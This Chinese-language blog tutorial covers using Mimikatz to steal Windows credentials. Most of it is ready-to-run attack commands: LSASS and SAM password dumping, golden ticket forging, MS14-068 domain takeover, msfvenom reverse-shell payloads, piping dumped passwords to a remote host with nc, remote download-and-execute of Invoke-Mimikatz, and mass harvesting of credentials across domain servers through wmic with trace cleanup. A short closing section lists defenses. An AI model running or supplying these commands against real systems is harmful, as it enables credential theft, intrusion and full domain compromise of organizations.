Mimikatz獲取系統密碼攻防研究

1.1Mimikatz獲取系統密碼攻防研究

Simeon

Mimikatz是法國人benjamin開發的一款功能強大的輕量級調試工具,本意是用來個人測試,但由于其功能強大,能夠直接讀取WindowsXP-2012等操作系統的明文密碼而聞名于滲透測試,可以說是滲透必備工具,從早期1.0版本到現在的2.1.1 20180205版本,其功能得到了很大的提升和擴展。Mimikatz最新版本一共三個文件(mimilib.dll、mimikatz.exe、mimidrv.sys),分為Win32位(多了一個mimilove.exe文件)和X64位。通過它們可以提升進程權限、注入進程讀取進程內存,可以直接從lsass中獲取當前登錄過系統用戶的賬號明文密碼,lsass是微軟Windows系統的安全機制它主要用于本地安全和登陸策略,通常我們在登陸系統時輸入密碼之后,密碼便會儲存在lsass內存中,經過其wdigest和tspkg兩個模塊調用后,對其使用可逆的算法進行加密并存儲在內存之中,而mimikatz正是通過對lsass的逆算獲取到明文密碼!本文以mimikatz最新版為例,介紹了mimikatz的參數、獲取密碼以及偽造黃金票據獲取域控密碼等用戶,利用ms14-068結合mimikatz獲取域控密碼等,最后文中還給出了相應的防范方法,對網絡攻防都具有一定的借鑒意義。

1.1.1下載及安裝

最新版下載地址:https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180205/mimikatz_trunk.zip

???下載后解壓縮即可,里面分為Win32和X64,Win32是針對Windows32位,而X64是正對64位操作系統,目前絕大部分操作系統為64位(支持大內存的使用)。其相關資源:

(1)個人blog:http://blog.gentilkiwi.com/

(2)最新版本:https://github.com/gentilkiwi/mimikatz/releases

(3)github庫:https://github.com/gentilkiwi/mimikatz

1.1.2使用參數詳解

本次測試使用Win32版本,將程序解壓后,通過cmd進入當前目錄,執行mimikatz程序,如圖1所示,隨便輸入即可獲取幫助信息。


圖1顯示幫助信息

1.基本命令

?(1)exit:退出mimikatz。

(2)cls:清除當前屏幕。

(3)answer:對生命、宇宙和萬物的終極問題的回答.

(4)coffee:顯示coffee圖案。

(5)sleep:默認睡眠1000ms,后跟時間參數。

(6)log:記錄mimikatz所有的輸入和輸出到當前目錄下的log.txt文件。

(7)base64:將輸入/輸出轉換成base64編碼。

(8)version:查看mimikatz的版本

(9)cd:切換或者顯示當前目錄。

(10)localtime:顯示系統當前時間和UTC時間。

(11)hostname:顯示主機的名稱。

2.使用模塊

輸入“::”顯示其支持模塊信息。

(1)standard:標準模塊,基本命令,不需要模塊信息。

(2)crypto:?加密模塊,其后跟以下參數,其使用命令為crypto::參數名,例如crypto::providers,如圖2所示。


圖2參考加密算法提供類型及名單

providers ?-該命令列出所有CryptoAPI提供者。

stores ?- ?列出系統存儲中的邏輯存儲,crypto::stores /systemstore:local_machine

certificates ?- ?顯示或者導出證書

keys ?- ?列出或者顯示密鑰

sc ?- ?此命令列出系統上的智能卡/令牌讀取器或將其移出系統。當CSP可用時,它會嘗試在智能卡上列出密鑰。

hash ?- 顯示當前用戶的的哈希(LM、NTLM、md5、sha1、sha2)計算值

system ?- ?描述windows系統證書 (,注冊表或者hive文件)

scauth ?- ?從CA創建一個認證(智能卡等)

certtohw ?-嘗試將軟件CA導出到加密(虛擬)硬件中。

capi ?-修補CryptoAPI程序方便導出。

cng ?- 修補CNG服務方便導出

extract ?-從CAPI RSA/AES 提供者獲取密鑰

(3)sekurlsa枚舉用戶憑證

sekurlsa::msv ?- ?獲取LM & NTLM 憑證,可以獲取明文密碼

sekurlsa::wdigest ?- ?獲取 WDigest 憑證,可以獲取明文密碼

sekurlsa::kerberos ?- ?獲取Kerberos 憑證

sekurlsa::tspkg ?- ?獲取 TsPkg 憑證

sekurlsa::livessp ?- 獲取LiveSSP 憑證

sekurlsa::ssp ?- 獲取憑證

sekurlsa::logonPasswords獲登陸用戶信息及密碼,如果是在系統權限或者psexec進入的系統權限下,直接使用該命令,而無需運行privilege::debug,否則需要運行該命令。

sekurlsa::process ?- ?切換或者恢復到lsass初始狀態

sekurlsa::minidump ?- ?切換或者恢復到minidump初始狀態

sekurlsa::pth ?- ?Pass-the-hash

sekurlsa::krbtgt ?- ?krbtgt!

sekurlsa::dpapisystem ?- 顯示DPAPI_SYSTEM密碼值

sekurlsa::tickets ?- ?顯示Kerberos票據

sekurlsa::ekeys ?- ?顯示Kerberos加密密鑰

sekurlsa::dpapi ?- ?顯示內存中的MasterKeys

sekurlsa::credman ?- ?顯示管理員憑證

(4)kerberos ?- ?Kerberos包模塊?

(5)privilege ?-特權模塊

Privilege::debug ?- ?請求調試權限

Privilege::driver ?- ?請求裝載驅動權限

Privilege::security ?- 請求安全權限

Privilege::tcb ?- ?請求tcb權限

Privilege::backup ?- 請求backup權限

Privilege::restore ?- ?請求恢復權限

Privilege::sysenv ?- ?請求系統環境權限

Privilege::id ?- ?請求id特權,參數后跟具體的id值。例如請求特權8:privilege::id 8

Privilege::name ?- ?請求指定名稱的權限

(6)process:進程模塊

process::list ?- ?列出進程

process::exports ?- 導出進程列表

process::imports ?- 導入進程列表

process::start ?- ?開始一個進程,后跟進程名稱。

process::stop ?- ?終止一個進程,process::stop /pid:1692(結束pid為1692的進程)

process::suspend ?- 掛起一個進程

process::resume ?- ?恢復一個進程

process::run ?- ?運行一個進程

(7)service ?- ?Service module

service::start ?- ?開始服務

service::remove ?- 移除服務

service::stop ?- ?停止服務

service::suspend ?- ?暫停服務

service::resume ?- ?恢復服務

service::preshutdown ?- 預關閉服務

service::shutdown ?- ?關閉服務

service::list ?- ?列出服務

service::+ ?-安裝mimikatz服務

service::- ?- 卸載mimikatz服務

(8)lsadump ?- ?LsaDump module

Lsadump::sam ?- ?該命令轉儲安全帳戶管理器(SAM)數據庫。它包含用戶密碼的NTLM,有時包含LM哈希。

在線命令提升模式獲取:

privilege::debug

token::whoami

token::elevate

lsadump::sam

離線獲取:

通過以下方式備份SYSTEM&SAM配置:

reg save HKLM\SYSTEM SystemBkup.hiv

reg save HKLM\SAM SamBkup.hiv

或者使用Volue Shadow Copy / BootCD來備份這些文件:

C:\Windows\System32\config\SYSTEM

C:\Windows\System32\config\SAM

然后執行mimikatz # lsadump::sam SystemBkup.hiv SamBkup.hiv即可獲取。

http://www.objectif-securite.ch/en/ophcrack.phphttp://www.cmd5.com/可在線進行破解查詢。

Lsadump::secrets 從registry或者hives獲取保存的密碼憑據,可以直接獲取明文密碼。

Lsadump::cache ?獲取內存中的密碼值

Lsadump::lsa 從lsa服務器獲取密碼。lsadump::lsa /inject /name:krbtgt

Lsadump::trust ?- ?Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fbackupkeys ???rpdata

Lsadump::dcsync ?- ?Ask a DC to synchronize an object

Lsadump::dcshadow ?- ?They told me I could be anything I wanted, so I became a domain controller

Lsadump::setntlm ?- ?Ask a server to set a new password/ntlm for one user

Lsadump::changentlm ?- ?Ask a server to set a new password/ntlm for one user

Lsadump::netsync ?- ?Ask a DC to send current and previous NTLM hash of DC/SRV/WKS

(9)ts終端服務模塊

ts::sessions 顯示當前的會話

ts::multirdp 允許多個用戶使用rdp,安裝rdp補丁。

(10)event事件模塊

event::drop 啟用事件補丁服務,不再記錄新產生的事件。

event::clear 清除時間日志。

(11)misc 雜項模塊,打開cmd, regedit, taskmgr, ncroutemon, detours, wifi, addsid, memssp, skeleton等。

(12)token ?-令牌操作模塊

token::whoami ?- ?顯示當前的身份

token::list ?- ?列出系統所有的令牌

token::elevate ?- 冒充令牌

token::run ?- ?運行

token::revert ?- ?恢復到進程令牌

(13)vault ?- ?Windows信任/憑證模塊。Vault::list列出Windows信任/憑證。

(14)net 顯示user、group、alias 、session、wsession、tod、stats、share、serverinfo ?等信息。

1.1.3mimikatz獲取密碼

1.舊版本配合psexec密碼獲取方法及命令

(1)到tools目錄。psexec \\127.0.0.1 cmd

(2)執行mimikatz

(3)執行privilege::debug

(4)執行inject::process lsass.exe sekurlsa.dll

(5)執行@getLogonPasswords

(6)widget就是密碼

(7)exit退出,不要直接關閉否則系統會崩潰。

2.bat腳本獲取法

(1)創建get.bat腳本

@echo off

mimikatz.exe <command.txt >pass.txt

exit

(2)創建command.txt文件

privilege::debug

inject::process lsass.exe sekurlsa.dll ??

@getLogonPasswords

Exit

(3)執行get.bat文件即可獲取密碼,pass.txt記錄的即為獲取的密碼,get.bat、command.txt和mimikatz.exe在同一個文件夾下。

2.mimikatz2.0以上版本獲取系統明文密碼

(1)sekurlsa獲取

privilege::debug

sekurlsa::logonpasswords

(2)Lsadump獲取密碼

Lsadump::secrets

3.利用ms14-068漏洞進行攻擊

(1)生成tgt_zhangsan@admin.com.ccche票據

ms14-068.py -u zhangsan@admin.com -p venus123@ -s S-1-5-21-1825629200-489098874-1280338471-1104 -d admin.com

(2)導入票據

mimikatz kerberos::ptc c:/tgt_zhangsan@admin.com.ccche

1.1.4使用ps1批量獲取windows密碼

在Windows2008及以上操作系統中執行命令:

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

注意:獲取密碼的計算機必須能夠訪問raw.githubusercontent.com網絡,也可以將該ps文件下載到其他地址,然后替換后執行。該腳本目前在win2014中只能獲取NTLM值,無法獲取明文密碼,如圖3所示。


圖3通過ps腳本獲取密碼值

1.1.5MSF下mimikatz獲取密碼

1.需要生成一個反彈的可執行程序或者通過漏洞直接獲取一個反彈的shell。下面是通過msfvenom生成shell:

(1)Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

(2)Windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

(3)Mac:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

(4)PHP:msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

(5)asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp

(6)JSP:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

(7)WAR:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

Scripting Payloads

(8)Python:msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

(9)Bash:msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

(10)Perl:msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

(11)Linux Based Shellcode:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

(12)Windows Based Shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

(13)Mac Based Shellcode:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

在架構中比較好用的有兩個cmd/powershell_base64和x86/shikata_ga_nai,下面生成一個實例(反彈的服務器IP為192.168.106.133):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.106.133 LPORT=4444 -f exe > shell.exe

2. 運行msfconsole并設置

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.106.133

set lport 4444

run或者exploit

3.在測試計算機上運行exe文件

4.在msf獲取反彈的shell,如圖5所示。

(1)getuid獲取當前帳號為系統權限,則進行后續操作,否則通過ps命令去獲取小于1000以內的pid,執行migrate pid來提升權限后,繼續執行后續步驟。

(2)load mimikatz

(3)運行mimikatz下面的憑證獲取命令

??kerberos???獲取網絡認證協議憑證,其中可能會有明文密碼

??msv????????獲取msv 憑證,其中包含LM和NTLM哈希密碼值

??wdigest????獲取wdigest (摘要式身份驗證)憑證,其中可能會有明文密碼

(4)還可以執行hashdump來導出系統的哈希密碼值

1.1.6使用Mimikatz偽造Kerberos黃金票據

以域控test.local為例子,mimikatz在c:\test\目錄下。

1.導出krbtgt的Hash

在域控上執行通過mimkatz輸出:

mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"

找到如下信息:

/domain:test.local

/sid:S-1-5-21-4155807533-921486164-2767329826

/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f

2、生成Golden Ticket

偽造的用戶設置為god,執行:

mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god /ticket:gold.kirbi"

生成文件gold.kirbi

3、偽造Golden Ticket獲得域控權限,導入Golden Ticket,執行如下命令:

kerberos::ptt c:\test\gold.kirbi

1.1.7ms14_068獲取域控密碼

1.?利用ms14_068漏洞獲取域控權限

目前網上有python腳本的利用方法,其下載地址:https://github.com/bidord/pykek,具體方法如下:

(1)獲取SID

方法1:wmic useraccount where name="USERNAME" get sid

方法2:whoami /all 或者whoami /user ?本機可以直接查出自己的SID;例如獲取SID值為:S-1-5-21-3314867233-3443566213-336233174-500

(2)生成tgt文件

ms14-068.py -u antian365@antian365.local -s S-1-5-21-3314867233-3443566213-336233174-500-d DC2. antian365.local

會在當前命令目錄生成一個TGT_?antian365@?antian365.local.ccache文件,將該文件復制到mimikatz目錄。

(3)導入tgt文件

mimikatz.exe log "kerberos::ptc TGT_?antian365@?antian365.local.ccache" exit

(4)查看并獲取域控權限

net use \\DC2.?antian365.local\admin$ ???//注:使用IP可能會失敗

dir \\DC2.?antian365.local\c$

(5)klist查看票據,klist僅僅在win2008以上可以查看。

2.MSF漏洞模塊利用

(1)使用ms14_068模塊

use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

set DOMAIN DEMO.LOCAL

set PASSWORD antian365

set USER antian365

set USER_SID S-1-5-21-3314867233-3443566213-336233174-500

set RHOST WIN-T.demo.local

run

生成一個形如time_default_ip_windows.kerberos_num.bin的文件

(2)導入bin文件

kerberos::clist "time_default_ip_windows.kerberos_num.bin" /export/

保存為0-00000000-antian365@krbtgt-DEMO.LOCAL.kirbi文件。

(3)使用生成的kirbi

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 172.16.158.1

exploit

getuid

load mimikatz

kerberos_ticket_use /tmp/0-00000000- antian365@krbtgt-DEMO.LOCAL.kirbi

background

sessions

(4)獲取域控權限

use exploit/windows/local/current_user_psexec

set TECHNIQUE PSH

set RHOSTS WIN-T.demo.local

set payload windows/meterpreter/reverse_tcp

set lhost 172.16.158.1

set SESSION 1

exploit

getuid

1.1.8 mimikatz使用技巧

1. 獲取并記錄密碼到mimikatz.log文件

mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords "" exit && dir

2.輸出到本地log.txt文件

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> log.txt

3.記錄新密碼到文件

有時候獲取的哈希是舊的,這時需要記錄新的登錄哈希值,可以使用以下命令來記錄,記錄的結果在c:\windows\system32\mimilsa.log。

mimikatz.exe

privilege::debug

misc::memssp

4.通過nc命令將mimikatz執行結果傳輸到遠程

(1)取結果服務器(192.168.106.145)執行監聽命令

nc -vlp 44444

(2)在想獲取密碼的服務器上執行

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords "" exit | nc.exe -vv 192.168.106.145 4444

5通過nc命令遠程執行mimikatz

(1)在黑客反彈計算機(192.168.106.145)上執行

nc.exe -vlp ?4444

(2)在被攻擊計算機(192.168.106.130)上執行

nc.exe -vv 192.168.106.145 4444 -e mimikatz.exe

接著就會反彈到192.168.106.145的4444端口,出來一個cmd的窗口,可以在該窗口進行密碼獲取,如圖4所示。


圖4nc反彈執行命令

6.批量獲取域控密碼

通常在域滲透的時候,我們可能想要獲得更多的密碼,針對server08以后的服務器獲取ntds.dit的hash以后還不一定能破解出來,所以可以通過Mimikatz來獲取明文密碼,但是一臺一臺登陸去獲取會很慢且不方便,所以這里介紹一個批量的方法:

(1)創建共享文件夾:

cd\

mkdir open

net share open=C:\open /grant:everyone,full

icacls C:\open\ /grant Everyone:(OI)(CI)F /t

修改注冊表

reg change HKLM\System\CurrentControlSet\services\LanmanServer\Parameters NullSessionShares REG_MULTI_SZ open

reg change HKLM\System\CurrentControlSet\Control\Lsa "EveryoneIncludesAnonymous" 1

修改共享目錄到open。

(2)在共享目錄添加下列文件:

1)執行腳本powershellme.cmd,腳本內容:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.11:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.1.11\open\%COMPUTERNAME%.txt 2>&1

ip是設置共享的主機ip地址。

2)Invoke-Mimikatz.ps1

3)mongoose

4)服務器列表serverlist.txt,換行分割。

(3)運行mongoose,默認開啟端口8080

(4)執行wmic:

wmic /node:@serverlist.txt process call create "\\192.168.1.11\open\powershellme.cmd"

帶憑證:

wmic /node:@serverlist.txt /user:PROJECTMENTOR\evi1cg /password:123 process call create "\\192.168.1.11\open\powershellme.cmd"

(5)在共享目錄看各個服務器的密碼吧。

(6)清除記錄:

1)關掉mongoose,并刪除

2)net share open /delete

3)刪除共享目錄及文件

4)修改注冊表

PS:可以使用如下命令開啟PowerShell remoting:

psexec @serverlist.txt -u [admin account name] -p [admin account password] -h -d powershell.exe "enable-psremoting -force"

1.1.9linux版本的mimikatz密碼獲取工具mimipenguin

1. mimipenguin

mimikatz的Linux平臺仿造版本mimipenguin(由@HunterGregal開發),mimipenguin需要root權限運行,通過檢索內存、/etc/shadow文件等敏感區域查找信息進行計算,從而提取出系統明文密碼。軟件下載地址:https://github.com/huntergregal/mimipenguin,下載后運行mimipenguin.sh即可,如圖5所示。


圖5linux下直接獲取密碼

2.支持版本

Kali 4.3.0 (rolling) x64 (gdm3)

Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)

Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)

XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)

Archlinux x64 Gnome 3 (Gnome Keyring 3.20)

OpenSUSE Leap 42.2 x64 (Gnome Keyring 3.20)

VSFTPd 3.0.3-8+b1 (Active FTP client connections)

Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions) [Gcore dependency]

openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage)

1.1.10安全防范mimikatz獲取密碼

參考作者及網上安全防范方法主要有以下三個方法:

1.用戶被添加到保護用戶組。將域控升級到Active Directory 2012 R2功能級別,然后將重要用戶添加到保護用戶組。

2.安裝KB2871997補丁程序。

3.修改注冊表鍵值

在HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Wdigest下新建UseLogonCredential值,其類型為Dword32位類型,值為0即可。

參考文章:

https://evi1cg.me/archives/Get_Passwords_with_Invoke-Mimikatz.html

https://www.cnblogs.com/backlion/p/8127868.html

個人原創書籍:

1.《網絡攻防實戰研究:MySQL數據庫攻擊與防御》京東購買地址:https://item.jd.com/12743208.html

2.《Web服務器滲透實戰技術》京東購買地址:?https://item.jd.com/12707216.html

3.《sqlmap從入門到精通》京東購買地址:https://item.jd.com/12671154.html

?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容